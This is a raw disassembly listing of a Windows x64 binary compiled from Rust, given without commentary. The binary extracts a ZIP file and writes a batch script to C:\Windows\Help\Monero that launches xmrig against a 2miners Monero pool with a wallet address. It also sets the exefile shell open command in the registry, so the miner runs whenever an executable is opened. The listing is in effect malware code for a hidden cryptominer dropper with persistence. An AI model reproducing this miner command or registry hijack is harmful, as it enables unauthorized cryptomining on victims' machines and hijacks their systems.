mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], r13
jmp 0x1400654ca
mov r14, qword [rsp + 0x188]
mov rdx, qword [rsp + 0x128]
add rdx, r14
add r13, r14
lea rcx, [rsp + 0xa0]
mov r8, r13
call fcn.140192a36
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x60], rax
vmovdqu xmm0, xmmword [rsp + 0xa0]
vmovdqa xmmword [rsp + 0x50], xmm0
mov r8, qword [rsp + 0x98]
test r8, r8
mov rbx, qword [rsp + 0x90]
mov r12, qword [rsp + 0x1a0]
mov r15, qword [rsp + 0x110]
mov esi, dword [rsp + 0x190]
je 0x1400654ca
mov edx, 1
mov rcx, r14
call fcn.140031eef
cmp sil, 0xc
jne 0x1400654ef
jmp 0x1400654fc
movabs rax, 0xde00000002
mov qword [rsp + 0x58], rax
and qword [rsp + 0x50], 0
mov rbx, qword [rsp + 0x90]
lea rcx, [rsp + 0x4d0]
call fcn.140025eab
mov rsi, qword [rsp + 0x50]
test rsi, rsi
je 0x14006502c
mov rbx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
lea rcx, [rsp + 0x4d0]
mov rdx, rsi
call fcn.1400aa4d0
mov r14, qword [rsp + 0x4d0]
mov r13, qword [rsp + 0x4e0]
lea rcx, [rsp + 0x1f0]
mov rdx, qword [rsp + 0x88]
mov r8, r15
call fcn.1400aa4d0
mov rbp, qword [rsp + 0x1f0]
mov r9, qword [rsp + 0x200]
mov rcx, r14
mov rdx, r13
mov r8, rbp
call fcn.1400264b9
mov r13d, eax
mov rdx, qword [rsp + 0x1f8]
mov rcx, rbp
call fcn.1400d33bf
mov rdx, qword [rsp + 0x4d8]
mov rcx, r14
call fcn.1400d33bf
mov rcx, rsi
mov rdx, rbx
mov rbx, qword [rsp + 0x90]
call fcn.1400d33bf
mov rcx, r12
call fcn.1402d9e0e
test r13b, r13b
je 0x14006503e
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
call fcn.14002336b
mov rcx, qword [rsp + 0x120]
call fcn.1402d9e0e
jmp 0x140066054
lea r8, str._rustc_608e9682f0a6482903de8d3332770104a0ad943clibrarycore_src_strpattern.rs
jmp 0x140065635
mov r12, qword [rsp + 0x1f8]
xor esi, esi
mov rax, r12
sub rax, 0x10015
cmovae rsi, rax
mov ebp, 1
cmp r12, 0x16
jae 0x14006563f
lea rsi, [0x1404b82a4]
mov r15d, 0x12
jmp 0x140065790
mov rcx, qword [rsp + 0x120]
call fcn.1402d9e0e
jmp 0x140064121
lea r8, str._rustc_608e9682f0a6482903de8d3332770104a0ad943clibrarycore_src_strpattern.rs
mov rdx, rbx
jmp 0x140065638
lea r8, str._rustc_608e9682f0a6482903de8d3332770104a0ad943clibrarycore_src_strpattern.rs
mov rcx, rax
mov rdx, rsi
call fcn.1400b2f30
ud2
add r12, 0xffffffffffffffea
lea rdi, [rsp + 0x1f0]
lea rbx, [rsp + 0x38]
lea r13, [rsp + 0x790]
mov r15d, 0x24
cmp r12, rsi
jb 0x1400656c1
mov qword [rsp + 0x798], r12
and qword [rsp + 0x790], 0
mov rcx, rdi
mov rdx, rbx
mov r8, r13
call fcn.140287db0
cmp qword [rsp + 0x1f0], 0
jne 0x14006577e
mov rcx, r13
mov rdx, rbx
call fcn.140061a12
cmp dword [rsp + 0x790], 0
jne 0x14006573e
cmp dword [rsp + 0x794], 0x6054b50
je 0x140065748
add r12, 0xffffffffffffffff
jb 0x14006565e
lea r13, [rsp + 0x1f0]
lea rsi, str.Could_not_find_central_directory_endInvalid_zip_headerInvalid_digital_signature_headerCould_not_find_ZIP64_central_directory_endInvalid_zip64_locator_digital_signature_headerLarge_file_option_has_not_been_setShould_have_switched_to_stored_and_unencrypted_beforehand
jmp 0x140065790
movabs rax, 0xde00000002
mov qword [rsp + 0x4d8], rax
mov eax, 1
mov dword [rsp + 0x4d0], eax
lea rcx, [rsp + 0x1f0]
call fcn.140025eab
cmp bpl, 4
jne 0x140064b02
mov eax, dword [rsp + 0x4d4]
mov dword [rsp + 0x118], eax
jmp 0x140064b1a
mov rcx, r15
call fcn.1402d9e0e
mov rcx, rdi
call fcn.1402d9e0e
mov rcx, 0xffffffff80000000
call fcn.1402d9e0e
jmp 0x1400638d4
mov rsi, qword [rsp + 0x798]
jmp 0x140065786
lea r8, [rsp + 0x790]
mov qword [r8 + 8], 0x10
mov qword [r8], 2
lea rdi, [rsp + 0x1f0]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140287db0
cmp qword [rdi], 0
je 0x140065f99
mov rsi, qword [rsp + 0x1f8]
xor ebp, ebp
lea r13, [rsp + 0x1f0]
mov rcx, r14
call fcn.1403001e4
cmp rbp, 4
jne 0x140065e98
lea r12, [rsp + 0x1e0]
mov qword [r12], rsi
mov qword [r12 + 8], r15
mov rdi, qword [rsi + 0x20]
mov esi, 0x140
lea rax, [rsi + r13]
mov qword [rsp + 0x108], rax
add rsi, r13
lea rbp, [rsp + 0x4d0]
vpcmpeqd xmm6, xmm6, xmm6
vxorps xmm7, xmm7, xmm7
xor r8d, r8d
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x90], rsi
cmp r8, rdi
lea r15, [rsp + 0x4d0]
je 0x140065f0f
lea rcx, [rsp + 0x790]
mov rdx, r12
mov qword [rsp + 0x40], r8
xor r9d, r9d
vzeroupper
call fcn.14001c475
mov rsi, qword [rsp + 0x790]
lea rax, [rsp + 0x798]
vmovdqu xmm0, xmmword [rax]
vmovdqa xmmword [rsp + 0xa0], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0xb0], rax
cmp rsi, 7
je 0x140065f24
mov r8d, 0x2b8
mov rcx, rbp
lea rdx, [rsp + 0x7b0]
call sub.msvcrt.dll_memcpy
cmp esi, 6
je 0x1400666fb
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x60], rax
vmovaps xmm0, xmmword [rsp + 0xa0]
vmovaps xmmword [rsp + 0x50], xmm0
mov r8d, 0x2b8
lea rcx, [rsp + 0x210]
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xf0], rax
vmovdqa xmm0, xmmword [rsp + 0x50]
vmovdqa xmmword [rsp + 0xe0], xmm0
lea rcx, [rsp + 0x1f8]
mov qword [rcx + 0x10], rax
vmovdqu xmmword [rcx], xmm0
mov qword [rsp + 0x1f0], rsi
cmp dword [rsp + 0x330], 2
mov rax, qword [rsp + 0x108]
jne 0x1400658ec
mov rax, qword [rsp + 0x338]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rcx, rdi
xor edx, edx
call fcn.140262f2f
mov r15, rax
mov qword [rsp + 0x30], rdx
mov rcx, rax
mov rdx, rbx
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rcx, r13
call fcn.1400220d0
mov rsi, qword [rsp + 0x1e0]
cmp qword [rsi + 0x40], 0
je 0x140065ec7
inc qword [rsp + 0x40]
mov rcx, qword [rsi + 0x48]
mov rdx, qword [rsi + 0x50]
mov r8, r15
mov r9, rdi
call fcn.14014b9b3
mov rbx, qword [rsi + 0x28]
mov r13, qword [rsi + 0x30]
mov r14, r13
and r14, rax
shr rax, 0x39
vmovd xmm0, eax
vpbroadcastb xmm8, xmm0
xor r12d, r12d
vmovdqu xmm9, xmmword [rbx + r14]
vpcmpeqb xmm0, xmm9, xmm8
vpmovmskb eax, xmm0
mov word [rsp + 0x4d0], ax
mov rcx, rbp
call fcn.140061965
test rax, rax
je 0x1400659b2
add rdx, r14
and rdx, r13
shl rdx, 5
mov rsi, rbx
sub rsi, rdx
mov r8, qword [rsi - 0x20]
mov r9, qword [rsi - 0x10]
mov rcx, r15
mov rdx, rdi
call fcn.1402b299b
test al, al
je 0x14006597c
jmp 0x1400659d2
vpcmpeqb xmm0, xmm9, xmm6
vpmovmskb eax, xmm0
test eax, eax
jne 0x140065ec7
add r14, r12
add r14, 0x10
add r12, 0x10
and r14, r13
jmp 0x140065965
mov r8, qword [rsi - 8]
lea rcx, [rsp + 0x790]
lea r12, [rsp + 0x1e0]
mov rdx, r12
lea r9, [0x1404bc540]
call fcn.14001c475
mov rax, qword [rsp + 0x790]
cmp rax, 6
je 0x140065f59
cmp rax, 7
je 0x140065ed3
mov r8d, 0x2d8
lea r13, [rsp + 0x1f0]
mov rcx, r13
lea rdx, [rsp + 0x790]
call sub.msvcrt.dll_memcpy
cmp dword [rsp + 0x330], 2
mov rsi, qword [rsp + 0x90]
mov rax, rsi
jne 0x140065a4c
mov rax, qword [rsp + 0x338]
mov rdi, qword [rax + 8]
mov rbx, qword [rax + 0x18]
mov al, byte [0x1406ba220]
mov ecx, 0x10
mov edx, 1
call fcn.140087770
test rax, rax
je 0x140066727
vmovdqu xmm0, xmmword [0x1404bc530]
vmovdqu xmmword [rax], xmm0
mov qword [rsp + 0x790], rax
mov eax, 0x10
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x7a0], rax
mov byte [rsp + 0x7a8], 0
lea rcx, [rsp + 0x790]
mov rdx, rdi
mov r8, rbx
call fcn.1402882c0
cmp dword [rsp + 0x330], 2
mov rax, rsi
jne 0x140065acb
mov rax, qword [rsp + 0x338]
mov rbx, qword [rsp + 0x790]
mov r14, qword [rsp + 0x798]
mov rdi, qword [rsp + 0x7a0]
mov r8, qword [rax + 0x18]
test r8, r8
je 0x140065b7c
mov r9, qword [rax + 8]
movzx eax, byte [r9 + r8 - 1]
test al, al
jns 0x140065b49
movzx ecx, byte [r9 + r8 - 2]
cmp cl, 0xc0
jge 0x140065b2a
movzx edx, byte [r9 + r8 - 3]
cmp dl, 0xc0
jge 0x140065b2f
movzx r8d, byte [r9 + r8 - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x140065b32
and ecx, 0x1f
jmp 0x140065b3a
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and eax, 0x3f
or eax, ecx
cmp eax, 0x110000
je 0x140065b7c
cmp eax, 0x2f
je 0x140065b53
cmp eax, 0x5c
jne 0x140065b7c
mov byte [rsp + 0x790], 1
lea rcx, [rsp + 0x790]
mov rdx, rbx
mov r8, rdi
call fcn.140288f40
test rax, rax
je 0x140065e66
jmp 0x14006605b
mov qword [rsp + 0x88], r14
mov qword [rsp + 0x48], rbx
mov rcx, rbx
mov rdx, rdi
call fcn.140289860
test rax, rax
je 0x140065bcf
mov r14, rax
mov rbx, rdx
mov rcx, rax
call fcn.14001c032
test al, al
jne 0x140065bcf
mov byte [rsp + 0x790], 1
lea rcx, [rsp + 0x790]
mov rdx, r14
mov r8, rbx
call fcn.140288f40
test rax, rax
jne 0x1400663ac
and dword [rsp + 0x790], 0
lea rax, [rsp + 0x798]
vmovups xmmword [rax], xmm7
mov dword [rsp + 0x7a8], 7
and word [rax + 0x1c], 0
and qword [rax + 0x14], 0
mov byte [rsp + 0x7b1], 1
mov word [rsp + 0x7b3], 0x101
lea rcx, [rsp + 0x790]
mov rbx, qword [rsp + 0x48]
mov rdx, rbx
mov r8, rdi
call fcn.140287e10
test rax, rax
jne 0x140065f79
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x4d0], 1
lea rax, [rsp + 0x4d8]
vmovups xmmword [rax], xmm7
xor edi, edi
mov r14, qword [rsp + 0x4d8]
mov rbx, qword [rsp + 0x4e0]
cmp rbx, r14
jne 0x140065c7c
mov edx, 0x20
mov rcx, rbp
call fcn.14013a606
mov r14, qword [rsp + 0x4d8]
mov rbx, qword [rsp + 0x4e0]
sub r14, rbx
add rbx, qword [rsp + 0x4d0]
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.1402de071
mov r8, rdx
mov rcx, rax
xor edx, edx
call sub.msvcrt.dll_memset
xor ecx, ecx
mov rdx, r14
mov r8, rbx
mov r9, r14
call fcn.1402dde7b
mov r9, rdx
lea rcx, [rsp + 0x790]
mov rdx, r13
mov r8, rax
call fcn.1402de767
cmp qword [rsp + 0x790], 0
mov rbx, qword [rsp + 0x798]
je 0x140065d0e
test rbx, rbx
je 0x140065e16
mov rcx, rbx
call fcn.14001b8e4
test al, al
je 0x140066073
mov qword [rsp + 0x790], rbx
lea rcx, [rsp + 0x790]
call fcn.14002276f
jmp 0x140065c4a
cmp r14, rbx
mov rdx, rbx
cmova rdx, r14
test rbx, rbx
je 0x140065e16
mov rcx, rbx
mov r8, r14
lea r9, [0x1405eab48]
call fcn.140002596
mov rdi, rax
xor ecx, ecx
mov rdx, rbx
mov r8, r14
lea r9, [0x1405eab60]
call fcn.140002596
mov r14, rax
add r14, qword [rsp + 0x4e0]
mov qword [rsp + 0x4e0], r14
mov rax, qword [rsp + 0x4d8]
or rax, r14
jne 0x140065c4a
vpxor xmm0, xmm0, xmm0
vmovdqu ymmword [rsp + 0x790], ymm0
lea rbx, [rsp + 0xa0]
mov r9d, 0x20
mov rcx, rbx
mov rdx, r13
lea r8, [rsp + 0x790]
vzeroupper
call fcn.1402de767
cmp qword [rsp + 0xa0], 0
je 0x140065dd4
mov rbx, qword [rsp + 0xa8]
mov rcx, rbx
call fcn.14001b8e4
test al, al
je 0x140066073
lea rbx, [rsp + 0xa0]
mov rcx, rbx
call fcn.1400258b5
jmp 0x140065d83
mov rdx, qword [rsp + 0xa8]
test rdx, rdx
je 0x140065e1e
lea rax, [0x1405eab78]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
xor ecx, ecx
lea r8, [rsp + 0x790]
call fcn.1401f67e5
lea r8, [rdx + rax]
mov rcx, rbp
mov rdx, rax
call fcn.1402ddb96
jmp 0x140065c4a
mov r14, qword [rsp + 0x4e0]
mov rdi, qword [rsp + 0x4d0]
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8, r14
call fcn.1402df515
test rax, rax
jne 0x140066070
mov rdx, qword [rsp + 0x4d8]
mov rcx, rdi
call fcn.1400d33bf
mov rcx, qword [rsp + 0x50]
call fcn.1403001e4
mov r14, qword [rsp + 0x88]
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
mov rdx, r14
call fcn.1400d33bf
mov rcx, r13
call fcn.1400220d0
mov rcx, r15
mov rdx, qword [rsp + 0x30]
call fcn.1400d33bf
mov rdi, qword [rsp + 0x80]
mov r8, qword [rsp + 0x40]
jmp 0x1400657ee
lea rcx, [rsp + 0x1c0]
mov qword [rcx], rbp
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], r15
call fcn.14000e06d
mov rdi, rax
lea r12, fcn.140022d12
lea r15, [rsp + 0x4d0]
jmp 0x1400660ea
mov qword [rsp + 0x798], 3
mov rsi, qword [rsp + 0x30]
mov ecx, 0x18
mov edx, 8
call fcn.14002b2c7
mov rdi, rax
vmovdqu xmm0, xmmword [rsp + 0x798]
vmovdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0x7a8]
mov qword [rdi + 0x10], rax
lea r12, fcn.140022d12
jmp 0x1400660ca
lea rcx, [rsp + 0x1e0]
vzeroupper
call fcn.1400258c5
jmp 0x140066158
mov rax, qword [rsp + 0xb0]
vmovdqa xmm0, xmmword [rsp + 0xa0]
lea rcx, [rsp + 0xe0]
vmovdqa xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
call fcn.14000e06d
mov rdi, rax
lea r12, fcn.140022d12
jmp 0x1400660dd
mov edx, 1
xor ecx, ecx
call fcn.14002b2c7
mov rdi, rax
lea r12, [0x1404ba418]
mov rsi, qword [rsp + 0x30]
jmp 0x1400660ca
mov rcx, rdx
call fcn.1401ac421
mov rdi, rax
mov r12, rdx
mov rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x88]
jmp 0x1400660b2
lea r8, [rsp + 0x790]
mov qword [r8 + 8], r12
and qword [r8], 0
lea rdi, [rsp + 0x1f0]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140287db0
cmp qword [rdi], 0
lea r13, [rsp + 0x1f0]
jne 0x140064ab0
mov rbx, qword [rsp + 0x1f8]
lea rdi, [rsp + 0x790]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a12
cmp dword [rdi], 0
je 0x1400663cc
mov rsi, qword [rsp + 0x798]
mov r15d, 0x20
xor ebp, ebp
jmp 0x140065790
mov rdx, qword [rsp + 0x1f8]
mov rcx, r15
call fcn.1400d33bf
mov rdx, qword [rsp + 0xa8]
mov rcx, r14
call fcn.1400d33bf
mov rcx, r13
mov rdx, rbx
call fcn.1400d33bf
mov rcx, qword [rsp + 0x68]
call fcn.1402d9e0e
cmp dword [rsp + 0x30], 0
je 0x140066054
lea rcx, [rsp + 0x158]
call fcn.140025d2c
call fcn.140297780
ud2
mov rcx, rax
call fcn.1401ac421
mov rdi, rax
mov r12, rdx
mov rsi, qword [rsp + 0x30]
jmp 0x1400660b2
mov rbx, rax
mov r14, qword [rsp + 0x88]
mov rcx, rbx
call fcn.1401ac421
mov rdi, rax
mov r12, rdx
mov rcx, qword [rsp + 0x4d0]
mov rdx, qword [rsp + 0x4d8]
call fcn.1400d33bf
mov rcx, qword [rsp + 0x50]
call fcn.1403001e4
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
mov rdx, r14
call fcn.1400d33bf
lea rcx, [rsp + 0x1f0]
call fcn.1400220d0
mov rcx, r15
mov rdx, rsi
call fcn.1400d33bf
lea r15, [rsp + 0x4d0]
lea rcx, [rsp + 0x1e0]
call fcn.1400258c5
test rdi, rdi
je 0x140066158
mov qword [rsp + 0x4d0], rdi
mov qword [rsp + 0x4d8], r12
mov qword [rsp + 0x1f0], r15
lea rax, str.Error_extracting_the_ZIP_file:
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x1400ab521]
mov qword [rsp + 0x1f8], rax
lea rax, [rsp + 0x1f0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.14028b4b0
mov rcx, r15
call fcn.1401ac448
jmp 0x14006618b
lea rax, [0x1404bc590]
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.failed_to_write_whole_buffer
mov qword [rcx + 0x10], rax
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rcx + 0x18], xmm0
call fcn.14028b280
lea rcx, str.C:WindowsHelpMoneroxmr_pool.batcd__dp0_n________xmrig.exe__o_xmr.2miners.com:4444__u_44ZhutWDU6Ej1Zi3fFG4au7Cmk6j3LGCEUPWSgFBY3EvViZFnbEa254T4CpV3KbSeHMUGUE1QrwVfJ3DAnw8kDJa9HotyKt.1__p_x_n________pause_n________Error_writing_to_the_file:
mov edx, 0x23
call fcn.14001a8c2
mov rdi, rdx
test rax, rax
jne 0x1400661d4
lea rcx, [rsp + 0x790]
mov qword [rcx], rdi
lea rdx, [0x1404bc603]
mov r8d, 0xb3
call fcn.1402df515
mov rbx, rax
mov rcx, rdi
call fcn.1403001e4
mov rdi, rbx
test rbx, rbx
je 0x140066233
mov qword [rsp + 0x4d0], rdi
mov qword [rsp + 0x1f0], r15
lea rax, [0x1404bc6d8]
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [fcn.140285bb0]
mov qword [rsp + 0x1f8], rax
lea rax, [rsp + 0x1f0]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.14028b4b0
mov rcx, r15
call fcn.14002276f
lea r8, str.SoftwareMicrosoftWindowsCurrentVersionRunshellopencommand
lea rsi, [rsp + 0x790]
mov r9d, 0x2d
mov rcx, rsi
mov rdx, 0xffffffff80000001
call fcn.14003269c
cmp byte [rsi + 8], 0
mov rsi, qword [rsi]
je 0x1400662a2
mov qword [rsp + 0x20], 0x23
lea rdx, str.exefileFailed_to_set_shell_open_command:
lea r9, str.C:WindowsHelpMoneroxmr_pool.batcd__dp0_n________xmrig.exe__o_xmr.2miners.com:4444__u_44ZhutWDU6Ej1Zi3fFG4au7Cmk6j3LGCEUPWSgFBY3EvViZFnbEa254T4CpV3KbSeHMUGUE1QrwVfJ3DAnw8kDJa9HotyKt.1__p_x_n________pause_n________Error_writing_to_the_file:
mov r8d, 7
mov rcx, rsi
call fcn.1400327ab
test rax, rax
je 0x1400662f4
mov rcx, rax
call fcn.1401ac421
mov rdi, rax
mov rbx, rdx
mov rcx, rsi
call fcn.1402d9e0e
jmp 0x1400662b0
mov rcx, rsi
call fcn.1401ac421
mov rdi, rax
mov rbx, rdx
mov rcx, 0xffffffff80000001
call fcn.1402d9e0e
test rdi, rdi
je 0x140066308
lea r8, [rsp + 0x790]
mov qword [r8], rdi
mov qword [r8 + 8], rbx
lea rax, str.src_m.rsBb__
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to_set
lea r9, fcn.1401ac448
mov edx, 0xd
jmp 0x1400648aa
mov rcx, rsi
call fcn.1402d9e0e
mov rcx, 0xffffffff80000001
call fcn.1402d9e0e
lea rdx, str.C:WindowsHelpMoneroxmr_pool.batcd__dp0_n________xmrig.exe__o_xmr.2miners.com:4444__u_44ZhutWDU6Ej1Zi3fFG4au7Cmk6j3LGCEUPWSgFBY3EvViZFnbEa254T4CpV3KbSeHMUGUE1QrwVfJ3DAnw8kDJa9HotyKt.1__p_x_n________pause_n________Error_writing_to_the_file:
lea rsi, [rsp + 0x790]
mov r8d, 0x23
mov rcx, rsi
call fcn.1402a0d13
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
mov rdx, rsi
call fcn.14028d8d0
lea rax, str.src_m.rsBb__
mov qword [rsp + 0x20], rax
lea r8, str.Failed_to_execute_myfile.exe
lea rbx, [rsp + 0x4d0]
mov r9d, 0x1c
mov rcx, rbx
mov rdx, rdi
call fcn.140026eb4
mov rcx, rbx
call fcn.14002240a
mov rcx, rsi
call fcn.1400227ab
vmovaps xmm6, xmmword [rsp + 0x1790]
vmovaps xmm7, xmmword [rsp + 0x17a0]
vmovaps xmm8, xmmword [rsp + 0x17b0]
vmovaps xmm9, xmmword [rsp + 0x17c0]
add rsp, 0x17d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rax
call fcn.1401ac421
mov rdi, rax
mov r12, rdx
mov rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x88]
jmp 0x1400660ad
mov r15d, 0x20
cmp dword [rsp + 0x794], 0x6054b50
jne 0x140066407
lea rdi, [rsp + 0x790]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061982
cmp word [rdi], 0
je 0x140066413
mov rsi, qword [rsp + 0x798]
jmp 0x140066004
lea rsi, [0x1404b82b6]
jmp 0x140065790
lea rdi, [rsp + 0x790]
movzx ebp, word [rdi + 2]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061982
cmp word [rdi], 0
jne 0x1400664e6
lea rdi, [rsp + 0x790]
movzx r13d, word [rdi + 2]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061982
cmp word [rdi], 0
jne 0x1400664e6
lea rdi, [rsp + 0x790]
movzx eax, word [rdi + 2]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061982
cmp word [rdi], 0
jne 0x1400664e6
lea rdi, [rsp + 0x790]
movzx eax, word [rdi + 2]
mov word [rsp + 0x30], ax
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a12
cmp dword [rdi], 0
jne 0x1400664e6
lea rdi, [rsp + 0x790]
mov r12d, dword [rdi + 4]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a12
cmp dword [rdi], 0
jne 0x1400664e6
lea rdi, [rsp + 0x790]
mov eax, dword [rdi + 4]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061982
cmp word [rdi], 0
je 0x140066697
mov rsi, qword [rsp + 0x798]
xor ebp, ebp
jmp 0x140065788
lea rax, str._rustc_608e9682f0a6482903de8d3332770104a0ad943clibrarycore_src_strpattern.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, rsi
mov r8, r14
mov r9, rsi
call fcn.1400bd330
ud2
lea rax, [rsp + 0xe0]
lea rdx, [rsp + 0xa0]
mov qword [rdx], rax
lea rax, str.Error:_NtOpenSection_failed_with_status:
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x1400c2ff0]
mov qword [rdx + 8], rax
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
call fcn.14028b4b0
mov rdx, qword [rsp + 0x4d8]
mov rcx, r12
call fcn.1400233c5
jmp 0x140066054
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x50], eax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x4d0], rax
lea rax, str.Failed_to_read_from_the_internet._Error:
lea rcx, [rsp + 0x1f0]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [fcn.1400baee0]
mov qword [rsp + 0x4d8], rdx
mov qword [rcx + 0x10], r15
mov qword [rcx + 0x18], rax
lea rdx, str.src_m.rsBb__
call fcn.1400b2c00
ud2
test rcx, rcx
jne 0x1400665f2
call fcn.1400a99d0
ud2
mov ecx, 2
mov rdx, r13
jmp 0x1400665fa
mov ecx, 1
mov rdx, rbx
jmp 0x1400665fa
mov rdx, qword [rsp + 0x200]
call fcn.1400a9a20
ud2
lea rax, [0x1404bcc58]
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.failed_to_write_whole_buffer
mov qword [rcx + 0x10], rax
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.src_e.rsError:_Failed_to_change_memory_protection._n
jmp 0x1400665cb
call sub.KERNEL32.dll_GetLastError
mov dword [rsp + 0x4d0], eax
mov qword [rsp + 0x1f0], r15
lea rax, str.Failed_to_open_URL._Error:
lea rcx, [rsp + 0x790]
mov qword [rcx], rax
mov eax, 1
mov qword [rcx + 8], rax
and qword [rcx + 0x20], 0
lea rdx, [fcn.1400baee0]
mov qword [rsp + 0x1f8], rdx
lea rdx, [rsp + 0x1f0]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
lea rdx, str.src_m.rsBb__
jmp 0x1400665cb
movzx esi, word [rsp + 0x792]
mov byte [rsp + 0x80], 1
mov rcx, rsi
mov dl, 1
call fcn.14012debe
mov qword [rsp + 0x108], rdx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x90], rax
mov rdx, rax
mov qword [rsp + 0x88], rsi
mov r8, rsi
call fcn.1402a4def
test rax, rax
je 0x140066736
mov rsi, rax
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x108]
call fcn.1400d33bf
jmp 0x1400664ee
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_zip_0.6.6_src_read.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1404b89b8]
lea r8, [rsp + 0x140]
mov edx, 0x2b
jmp 0x1400648aa
mov ecx, 1
mov edx, 0x10
jmp 0x1400665fa
cmp ebp, 0xffff
je 0x1400667a7
cmp r13w, 0xffff
je 0x1400667a7
cmp word [rsp + 0x40], 0xffff
je 0x1400667a7
cmp word [rsp + 0x30], 0xffff
je 0x1400667a7
cmp r12d, 0xffffffff
je 0x1400667a7
mov eax, 0xffffffff
cmp qword [rsp + 0x48], rax
sete byte [rsp + 0x80]
cmp bp, r13w
je 0x1400667a7
cmp dword [rsp + 0x48], 0xffffffff
je 0x1400667a7
mov ebp, 2
lea rax, [0x1404b81b7]
mov qword [rsp + 0x30], rax
mov r15d, 0x2f
jmp 0x1400676df
lea r8, str._rustc_608e9682f0a6482903de8d3332770104a0ad943clibrarycore_src_sliceiter.rs
mov rcx, r9
call fcn.1400b2eb0
ud2
mov rax, 0xffffffffffffffd6
sub rax, qword [rsp + 0x88]
lea r8, [rsp + 0x790]
mov qword [r8 + 8], rax
mov qword [r8], 1
lea rdi, [rsp + 0x1f0]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140287db0
mov rsi, qword [rdi]
mov rcx, rdi
call fcn.1400258b5
test rsi, rsi
je 0x140066896
mov r13, rbx
lea rax, [0x1404b818f]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x7a0], 0x28
mov qword [rsp + 0x790], 1
sub r13, r12
jb 0x1400668c4
mov rax, r13
sub rax, qword [rsp + 0x48]
mov qword [rsp + 0x48], rax
jb 0x1400668c4
lea rcx, [rsp + 0x790]
call fcn.140022d12
xor edi, edi
mov rax, qword [rsp + 0x40]
cmp rax, rbx
cmovbe rdi, rax
test rdi, rdi
je 0x1400669b0
movabs rax, 0xba2e8ba2e8ba2f
cmp rdi, rax
jae 0x1400665d7
imul rbx, rdi, 0xb0
mov rcx, rbx
call fcn.140031ef9
test rax, rax
jne 0x1400669b5
mov ecx, 8
jmp 0x1400665ed
lea rdi, [rsp + 0x1f0]
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.140061a12
cmp dword [rdi], 0
je 0x1400668d4
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x30], rax
xor ebp, ebp
jmp 0x1400676df
mov ebp, 1
mov r15d, 0x28
jmp 0x1400676df
cmp dword [rsp + 0x1f4], 0x7064b50
jne 0x140067706
lea rdi, [rsp + 0x1f0]
lea rdx, [rsp + 0x38]
mov rcx, rdi
